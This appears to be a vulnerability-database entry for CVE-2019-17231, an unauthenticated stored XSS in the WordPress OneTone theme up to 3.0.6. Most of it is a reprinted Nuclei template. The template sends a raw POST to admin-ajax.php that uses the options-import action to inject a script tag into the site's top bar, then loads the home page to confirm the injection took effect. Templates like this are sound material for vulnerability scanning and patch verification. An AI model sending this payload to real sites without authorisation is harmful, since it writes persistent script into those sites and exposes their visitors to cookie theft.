CVE-2019-17231: WordPress OneTone theme <= 3.0.6 – Unauthenticated Stored XSS

日期: 2025-08-01 | 影响软件: WordPress OneTone theme | POC: 已公开

漏洞描述

includes/theme-functions.php in the OneTone theme through 3.0.6 for WordPress has multiple stored XSS issues.

PoC代码[已公开]

id: CVE-2019-17231

info:
  name: WordPress OneTone theme <= 3.0.6 – Unauthenticated Stored XSS
  author: daffainfo
  severity: medium
  description: |
    includes/theme-functions.php in the OneTone theme through 3.0.6 for WordPress has multiple stored XSS issues.
  reference:
    - https://blog.sucuri.net/2020/04/onetone-vulnerability-leads-to-javascript-cookie-hijacking.html
    - https://blog.nintechnet.com/unauthenticated-stored-xss-vulnerability-in-wordpress-onetone-theme-unpatched/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-17231
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-17231
    epss-score: 0.01236
    epss-percentile: 0.78492
    cpe: cpe:2.3:a:mageewp:onetone:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: mageewp
    product: onetone
    framework: wordpress
    publicwww-query: "/wp-content/themes/onetone"
  tags: cve,cve2019,wordpress,wp-theme,wp,onetone,xss,intrusive

variables:
  string: "{{rand_text_numeric(13)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=onetone_options_import&options={"top_bar_info_content":"<script>console.log({{string}})</script>","display_top_bar":"yes"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "Import successful.")'
        condition: and
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "<script>console.log({{string}})</script>","top-bar-info")'
        condition: and
# digest: 4a0a004730450220129559d6e443bbd3820049cb9ede833eeb94a788f1d0a4133551f154f7933045022100fcd36cff37812a495bede734c06f49980f945a5e24c56e19093bcff64fce8fbf:922c64590222798bb761d5b6d8e72950